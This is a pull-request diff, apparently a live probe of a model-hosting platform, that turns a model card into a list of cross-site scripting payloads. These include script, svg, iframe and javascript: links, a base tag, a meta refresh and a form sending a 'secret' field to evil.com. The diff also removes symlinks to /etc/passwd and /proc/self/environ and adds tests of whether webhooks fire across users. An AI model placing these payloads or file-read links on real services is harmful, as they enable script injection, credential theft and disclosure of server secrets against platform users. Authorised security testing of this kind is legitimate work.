test PR commit
#7
by
SECONDACCOUNT69
- opened
- README.md +47 -6
- crlf-test.txt +1 -0
- env-link +0 -1
- passwd-link +0 -1
- pr-test.txt +1 -0
- trigger.txt +1 -1
- verify-cross-user.txt +1 -0
- webhook-test.txt +1 -0
- webhook-trigger-v2.txt +1 -0
README.md
CHANGED
|
@@ -1,10 +1,51 @@
|
|
| 1 |
---
|
| 2 |
license: mit
|
| 3 |
-
tags:
|
| 4 |
-
- "<img src=x onerror=alert(1)>"
|
| 5 |
-
- "{{7*7}}"
|
| 6 |
-
widget:
|
| 7 |
-
- src: "javascript:alert(1)"
|
| 8 |
---
|
| 9 |
# Test Model
|
| 10 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
---
|
| 2 |
license: mit
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3 |
---
|
| 4 |
# Test Model
|
| 5 |
+
|
| 6 |
+
## XSS Tests
|
| 7 |
+
|
| 8 |
+
### Image onerror
|
| 9 |
+
<img src=x onerror=alert(1)>
|
| 10 |
+
|
| 11 |
+
### Script tag
|
| 12 |
+
<script>alert(document.domain)</script>
|
| 13 |
+
|
| 14 |
+
### SVG onload
|
| 15 |
+
<svg onload=alert(1)>
|
| 16 |
+
|
| 17 |
+
### Markdown link with javascript
|
| 18 |
+
[Click me](javascript:alert(1))
|
| 19 |
+
|
| 20 |
+
### Data URI link
|
| 21 |
+
[Click](data:text/html,<script>alert(1)</script>)
|
| 22 |
+
|
| 23 |
+
### HTML entities
|
| 24 |
+
<img src="x" onerror="alert(1)">
|
| 25 |
+
|
| 26 |
+
### Iframe
|
| 27 |
+
<iframe src=javascript:alert(1)>
|
| 28 |
+
|
| 29 |
+
### Object tag
|
| 30 |
+
<object data=javascript:alert(1)>
|
| 31 |
+
|
| 32 |
+
### Embed
|
| 33 |
+
<embed src=javascript:alert(1)>
|
| 34 |
+
|
| 35 |
+
### Base tag (could redirect relative URLs)
|
| 36 |
+
<base href=https://evil.com>
|
| 37 |
+
|
| 38 |
+
### Form action
|
| 39 |
+
<form action=https://evil.com/steal><input type=text name=secret><button>Submit</button></form>
|
| 40 |
+
|
| 41 |
+
### Meta refresh
|
| 42 |
+
<meta http-equiv=refresh content="0;url=https://evil.com">
|
| 43 |
+
|
| 44 |
+
### Markdown with HTML
|
| 45 |
+
<details><summary>Click to expand</summary><img src=x onerror=alert(1)></details>
|
| 46 |
+
|
| 47 |
+
### Style injection
|
| 48 |
+
<div style="background:url(javascript:alert(1))">test</div>
|
| 49 |
+
|
| 50 |
+
### Event handlers in attributes
|
| 51 |
+
<div onmouseover="alert(1)">hover me</div>
|
crlf-test.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
test
|
env-link
DELETED
|
@@ -1 +0,0 @@
|
|
| 1 |
-
/proc/self/environ
|
|
|
|
|
|
passwd-link
DELETED
|
@@ -1 +0,0 @@
|
|
| 1 |
-
/etc/passwd
|
|
|
|
|
|
pr-test.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
PR test content
|
trigger.txt
CHANGED
|
@@ -1 +1 @@
|
|
| 1 |
-
trigger
|
|
|
|
| 1 |
+
webhook trigger test
|
verify-cross-user.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
Testing which webhooks fire
|
webhook-test.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
Testing if cross-user webhook fires
|
webhook-trigger-v2.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
triggered at 1771375639
|